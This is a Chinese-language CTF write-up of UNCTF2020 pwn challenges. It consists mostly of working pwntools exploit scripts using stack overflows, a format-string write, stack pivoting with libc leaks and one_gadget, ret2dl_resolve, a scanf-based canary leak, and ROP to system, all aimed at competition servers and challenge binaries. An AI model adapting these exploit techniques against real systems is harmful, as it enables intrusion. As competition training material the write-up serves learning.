注意
本文最后更新于 2024-02-12,文中内容可能已过时。
UNCTF2020 Pwn Writeup
队伍:打CTF不靠实力靠运气
作者:wjhwjhn
YLBNB
nc 45.158.33.12 8000,连接上后发现要求用pwntools
于是就用pwntools进行连接,然后就发现了flag
from pwn import *
r = remote("45.158.33.12", 8000)
print r.recvline()
print r.recvline()
print r.recvline()
print r.recvline()
print r.recvline()
Fan
所有题目中“真”简单的题目
IDA分析可得到read函数中发生了栈溢出。
又发现了fantasy函数,该函数可以直接获得shell。
exp:
from pwn import
r = remote("node2.hackingfor.fun", 32326)
r.sendlineafter("input your message", 'a' * 0x30 + 'b' * 0x8 + p64(0x400735))
r.interactive()
do_you_like_me?
和上一题一模一样,只需要改一个偏移,不再赘述
你真的会pwn嘛?
格式化字符串漏洞,利用printf函数来写入
dword_60107C即可。但是这道题目的60107C的地址过短,如果放在最前面会被00截断。所以这道题目我是把地址放在了%10$n的后面,成功利用。
1
2
3
4
from pwn import *
r = remote ( "node2.hackingfor.fun" , 33292 )
r . sendlineafter ( "Give me your input : " , '111%11\$n' + p64 ( 0x60107C ))
r . interactive ()
keer’s bug
这道题的难点就在于,溢出的堆栈只有0x20个字节,也就是如果不算上rbp,在64位下能够构造的ROP只有0x12个字节。这在于x64下是远远不够的,所以想到堆栈转移。
看一下Checksec
Exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from LibcSearcher import *
context . log_level = "debug"
r = remote ( "node2.hackingfor.fun" , 30615 )
#r = process(r"./keer's_bug")
elf = ELF ( r "./keer's_bug" )
new_addr = 0x601088
use_addr = 0x4005ED
pop_rdi_addr = 0x400673
pop_rsi_r15_addr = 0x400671
leave_ret_addr = 0x40060d
main_addr = 0x4005B6
#gdb.attach(r)
payload1 = 'a' * 0x50 + p64 ( new_addr + 0x50 ) + p64 ( use_addr )
r . sendlineafter ( " \n " , payload1 )
payload2 = p64 ( new_addr ) + p64 ( pop_rdi_addr ) + p64 ( 1 ) + \
p64 ( pop_rsi_r15_addr ) + p64 ( elf . got [ 'write' ]) + p64 ( 0 ) + p64 ( elf . plt [ 'write' ]) + \
p64 ( main_addr ) + 'a' * 16 + \
p64 ( new_addr ) + p64 ( leave_ret_addr )
r . sendline ( payload2 )
data = r . recv ( 6 ) . ljust ( 8 , " \x00 " )
write_addr = u64 ( data )
libc = LibcSearcher ( "write" , write_addr )
libc_base = write_addr - libc . dump ( "write" )
one = [ 0x45226 , 0x4527a , 0xf0364 , 0xf1207 ]
one_gadget = libc_base + one [ 3 ]
payload3 = 'a' * 0x50 + 'b' * 0x8 + p64 ( one_gadget )
r . sendlineafter ( " \n " , payload3 )
r . interactive ()
Data块(payload2)的分布
位置 数据内容 0x70 New_rbp垃圾数据 0x68 0x0000000000400673 : pop rdi ; ret 0x60 p64(1) //fd 0x58 0x0000000000400671 : pop rsi ; pop r15 ; ret 0x50 got[“write”] //给rsi的写入地址数据 // 读取到write的got地址,Libc识别 0x48 p64(0) //给r15的垃圾数据 0x40 plt[“write”] 0x38 p64(main) 0x30 垃圾数据 0x28 垃圾数据 0x20 ebp (addr) 堆栈转移的地址 0x18 leave_retn的地址 0x10 垃圾数据 0x08 垃圾数据 0x00 垃圾数据
程序流程
写入payload1
栈溢出
leave的时候把溢出的第一个值给到了rbp
ret,到重用代码块
重用代码块对rbp – 0x50(data + 0x00)的地方写入0x70长度
写入payload2
leave的时候把rsp变成了rbp,堆栈成功转移到rbp – 0x50的地方
pop出rbp – 0x50(data + 0x20)地方的的ebp的值
再次执行leave,把esp变到了(data + 0x70)的地方
pop rbp,把data + 0x70地方的数据取出,也就是new_rbp,这一块我们之后用不到,所以叫做垃圾数据
pop rdi ; ret,rdi = p64(1),让之前read的fd = 0改为1
pop rsi ; pop r15 ; ret,不是我不想,是真的搜不到 pop rsi ; ret
rsi = got[“write”] r15 = p64(0) 垃圾数据
进入plt[“write”],leak got[“write”]
返回到main
写入payload3
栈溢出到one_gadget
重用代码段
2021-01-05补充
这道题目也可以利用栈迁移 + ret2_dlresolve来做,但是本地能打通,远程确打不通。
结合当时比赛时有人提问来看,应该是远程配置存在一定的问题,故这里只放一下exp。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
from roputils import *
context . log_level = "debug"
r = process ( './keer' )
#r = remote('node2.hackingfor.fun', 34698)
rop = ROP_X86_64 ( './keer' )
bss_addr = rop . section ( '.bss' )
pop_rdi_addr = 0x400673
pop_rsi_r15_addr = 0x400671
pivot_addr = bss_addr + 0x400
log . success ( "pivot_addr: " + hex ( pivot_addr ))
log . success ( "bss_addr: " + hex ( bss_addr ))
buf = rop . fill ( 0x50 ) + p64 ( pivot_addr + 0x50 ) + p64 ( 0x4005ED )
#gdb.attach(r, "b *0x4005ED")
r . sendafter ( "Come on!! You can ri keer!!! \n " , buf . ljust ( 0x70 , ' \x00 ' ))
dl_buf = rop . string ( '/bin/sh' )
dl_buf += rop . fill ( 0x10 , dl_buf )
dl_buf += rop . dl_resolve_data ( bss_addr + 0x210 , 'system' )
payload = p64 ( pop_rsi_r15_addr ) + p64 ( pivot_addr + 0x100 ) + p64 ( 0 ) + p64 ( rop . plt ( 'read' ))
payload += rop . pivot ( pivot_addr + 0x100 )
payload = payload . ljust ( 0x50 , ' \x00 ' ) + 'b' * 0x8 + rop . pivot ( pivot_addr )
payload2 = p64 ( pop_rsi_r15_addr ) + p64 ( pivot_addr + 0x200 ) + p64 ( 0 ) + p64 ( rop . plt ( 'read' ))
payload2 += p64 ( pop_rsi_r15_addr ) + p64 ( pivot_addr + 0x300 ) + p64 ( 0 ) + p64 ( rop . plt ( 'read' ))
payload2 += rop . pivot ( pivot_addr + 0x200 )
r . send ( payload . ljust ( 0x70 , ' \x00 ' ))
r . send ( payload2 . ljust ( 0x70 , ' \x00 ' ))
payload3 = p64 ( pop_rsi_r15_addr ) + p64 ( rop . got () + 8 ) + p64 ( 0 ) + p64 ( pop_rdi_addr ) + p64 ( 1 ) + p64 ( rop . plt ( 'write' ))
payload3 += rop . pivot ( pivot_addr + 0x300 )
payload4 = p64 ( pop_rdi_addr ) + p64 ( 0 )
payload4 += p64 ( pop_rsi_r15_addr ) + p64 ( pivot_addr + 0x400 ) + p64 ( 0 ) + p64 ( rop . plt ( 'read' ))
payload4 += rop . pivot ( pivot_addr + 0x400 )
r . send ( payload3 . ljust ( 0x70 , ' \x00 ' ))
r . send ( payload4 . ljust ( 0x70 , ' \x00 ' ))
link_map_addr = u64 ( r . recvuntil ( ' \x7f ' )[ - 6 :] . ljust ( 8 , ' \x00 ' ))
log . success ( "link_map_addr: " + hex ( link_map_addr ))
payload5 = p64 ( pop_rsi_r15_addr ) + p64 ( link_map_addr + 0x1C8 ) + p64 ( 0 ) + p64 ( rop . plt ( 'read' ))
payload5 += p64 ( pop_rsi_r15_addr ) + p64 ( bss_addr + 0x200 ) + p64 ( 0 ) + p64 ( rop . plt ( 'read' ))
payload5 += p64 ( pop_rdi_addr ) + p64 ( bss_addr + 0x200 ) + rop . dl_resolve_call ( bss_addr + 0x210 )
r . send ( payload5 . ljust ( 0x70 , ' \x00 ' ))
r . send ( p64 ( 0 ))
r . send ( dl_buf . ljust ( 0x70 , ' \x00 ' ))
r . interactive ()
pwngirl
比赛的时候没做出来,今天做出来了。
没想到居然用"+“或者”-“就可以让scanf不读入数据,比赛的时候不知道,就没做出来,下次会做了!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
#context.log_level = "debug"
r = process ( './pwn' )
#r = remote('node2.hackingfor.fun', 34574)
def to_data ( x ):
num = int ( "0x" + x , 16 )
if num > 0x7FFFFFFFFFFFFFFF :
return str ( - (( num ^ 0xFFFFFFFFFFFFFFFF ) + 1 ))
else :
return str ( num )
def to_newhex ( x ):
return hex ( x )[ 2 :] . rjust ( 16 , "0" )
r . sendlineafter ( "[Y/N/@]" , "@" )
r . sendlineafter ( "question2:" , "^" )
r . sendafter ( "name:" , "wjh" )
r . sendlineafter ( "have?" , "12" )
for i in range ( 10 ):
r . sendlineafter ( "girlfriends:" , "-1" )
#gdb.attach(r)
r . sendlineafter ( "girlfriends:" , "-" )
r . sendlineafter ( "girlfriends:" , "-" )
r . recvuntil ( "result:" )
recvdata = r . recvuntil ( "you can change your girlfriend" )
number = recvdata . split ( " " )[: - 1 ]
for i in number :
n = int ( i )
if i [ 0 : 1 ] == '-' :
n = n & 0xFFFFFFFF
n16 = hex ( n )[ 2 :]
mag = n16 [ 0 : 3 ]
if mag == "fff" :
continue
if n16 [ - 2 :] == "00" :
last = n16
else :
first = n16
canary = int ( first + last , 16 )
r . sendline ( "0" )
r . sendlineafter ( "which girlfriend do you want to change?" , "27" )
for i in range ( 10 ):
r . sendlineafter ( "now change:" , "-" )
shell_addr = 0x400C04
print to_newhex ( canary )
r . sendlineafter ( "now change:" , to_data ( to_newhex ( canary ))) #all_canary
r . sendlineafter ( "now change:" , to_data ( to_newhex ( canary )[ 0 : 8 ] * 2 )) #rbp_right & canary_left
r . sendlineafter ( "now change:" , "0" ) #all_rbp
r . sendlineafter ( "now change:" , "0" ) #retn_right & rbp_left
r . sendlineafter ( "now change:" , to_data ( to_newhex ( shell_addr ))) #all_retn
r . sendlineafter ( "now change:" , to_data ( to_newhex ( shell_addr )[ 0 : 8 ] * 2 )) #unknown_right & retn_left
for i in range ( 11 ):
r . sendlineafter ( "now change:" , "-" )
r . interactive ()
原神
比赛的时候没做出来,主要有以下几点原因。
刚开始认为close(1),是直接退出程序的意思,后面发现不是的时候已经来不及了。 就算是关闭stdout,我也不知道这种输出方法 ls >&2,可以把stdout的内容输出到stderr 被babyheap打击到了信息,刚开始几道pwn题除了签到都有点难。 以上原因全部划掉,就是因为菜。 这道题的几个知识点
利用int计数器来构造字符串 这道题用的是system("$0”),我在这之前只知道 system(“sh”) 或者 system("/bin/sh") 利用 >&2 来输出内容 这道题目记得后面再开log_level,否则输出时间过长。 开头用: # -*- coding: utf-8 -*-
,可以识别中文
其他好像就没什么难点了。 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# -*- coding: utf-8 -*-
from pwn import *
r = process ( './GenshinSimulator' )
#r = remote("219.152.60.100", 54232)
elf = ELF ( './GenshinSimulator' )
def draw ( x ):
cnt = 0
r . sendlineafter ( "请选择:[1]单抽 [2]十连 [3]结束抽卡" , "2" if x == 10 else "1" )
r . recvuntil ( "抽卡结果如下: \n " )
for i in range ( x ):
data = r . recvline ()
if not "★★★★★" in data :
if not "★★★★" in data :
if "★★★" in data :
cnt += 1
return cnt
threeStar = 0
while True :
threeStar += draw ( 10 )
if threeStar >= 0x3024 - 10 :
break
while True :
threeStar += draw ( 1 )
if threeStar == 0x3024 :
break
#gdb.attach(r)
pop_rdi_addr = 0x0000000000400d13
three_star_addr = 0x0000000000602314
context . log_level = "debug"
r . sendlineafter ( "请选择:[1]单抽 [2]十连 [3]结束抽卡" , "3" )
print r . recvline ()
r . sendlineafter ( "请选择:[1]向好友炫耀 [2]退出 \n " , "1" )
payload = 'a' * 0x30 + 'b' * 0x8 + p64 ( pop_rdi_addr ) + p64 ( three_star_addr ) + p64 ( elf . plt [ 'system' ])
r . sendlineafter ( "请输入你的名字:" , payload )
r . interactive ()